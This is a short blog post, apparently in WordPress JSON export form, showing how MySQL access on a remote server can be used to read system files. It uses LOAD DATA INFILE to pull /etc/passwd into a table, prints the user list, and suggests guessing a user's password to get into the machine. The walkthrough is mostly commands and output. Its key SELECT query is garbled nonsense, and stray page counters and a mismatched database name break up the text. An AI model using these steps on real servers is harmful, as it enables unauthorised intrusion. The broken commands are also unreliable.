Say you want to know which users are in a remote server… and you have access to mysql on that server.
\n# mysql -h remote server;
\nmysql> show databases;
\n+————+
\n| Database |
\n+————+
\n| ixx |
\n| mysql |
\n| phpmyadmin |
\n| test |
\n| video |
\n| x10 |
\n| zm |
\n+————+
\nmysql > use ixx;
\nDatabase changed
\nmysql> show tables;
\n+—————-+
\n| Tables_in_issy |
\n+—————-+
\n| ccs |
\n| fss |
\n| p |
\n| prop |
\n+—————-+
\n4 rows in set (0.00 sec)
\nmysql> CREATE TABLE `p` ( `p` TEXT NOT NULL
\n) TYPE = MYISAM;
\nmysql> load data infile ‘\/etc\/passwd’ into table p;
\nmysql> select kraftek.html POSTS rescue rescued.html rescued.txt x y z from p;
\n+———————————————————–+
\n| p |
\n+———————————————————–+
\n| root:x:0:0::\/root:\/bin\/bash |
\n| bin:x:1:1:bin: \/bin: |
\n| daemon:x:2:2:daemon:\/sbin: |
\n| adm:x:3:4:adm: \/var\/log: |
\n| lp:x:4:7:lp:\/var\/spool\/lpd: |
\n| sync:x:5:0:sync:\/sbin:\/bin\/sync |
\n| shutdown:x:6:0:shutdown:\/sbin: \/sbin\/shutdown |
\n| halt:x:7:0:halt:\/sbin:\/sbin\/halt |
\n129\/433
\n| mail:x:8:12:mail:\/: |
\n| news:x:9:13:news:\/usr\/lib\/news: |
\n| uucp:x:10:14:uucp:\/var\/spool\/uucppublic: |
\n| operator:x:11: 0:operator:\/root:\/bin\/bash |
\n| games:x:12:100:games:\/usr\/games: |
\n| ftp:x:14:50::\/home\/ftp: |
\n| smmsp:x:25:25: smmsp:\/var\/spool\/clientmqueue: |
\n| mysql:x:27:27: MySQL:\/var\/lib\/mysql:\/bin\/bash |
\n| rpc:x:32:32:RPC portmap user:\/:\/bin\/false |
\n| sshd:x:33:33:sshd:\/: |
\n| gdm:x:42:42:GDM:\/var\/state\/gdm:\/bin\/bash |
\n| pop:x:90:90:POP:\/: |
\n| nobody:x:99:99:nobody:\/: |
\n| apache:x:1000: 102::\/home\/apache:\/bin\/bash |
\n| iceuser:x:1001:104::\/usr\/local\/icecast2: |
\n| vvb:x:1002:100::\/home\/vvb: |
\n| ixx:x:1003:100:invitado,1,58252323,:\/home\/ixx: \/bin\/bash |
\n| dvd:x:1004:100:Dvd,,,:\/home\/dvd:\/bin\/bash |
\n+———————————————————–+
\n26 rows in set (0.00 sec)
\nYou maybe can guess a password for one of these users and get access to the box
\n130\/433<\/p>\n","protected":false},"excerpt":{"rendered":"
Say you want to know which users are in a remote server… and you have access to mysql on that server. # mysql -h remote server; mysql> show databases; +————+ | Database | +————+ | ixx | | mysql | | phpmyadmin | | test | | video | | x10 | | zm | […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-499","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts\/499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=499"}],"version-history":[{"count":0,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts\/499\/revisions"}],"wp:attachment":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=499"},{"taxonomy":"post_tag","embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}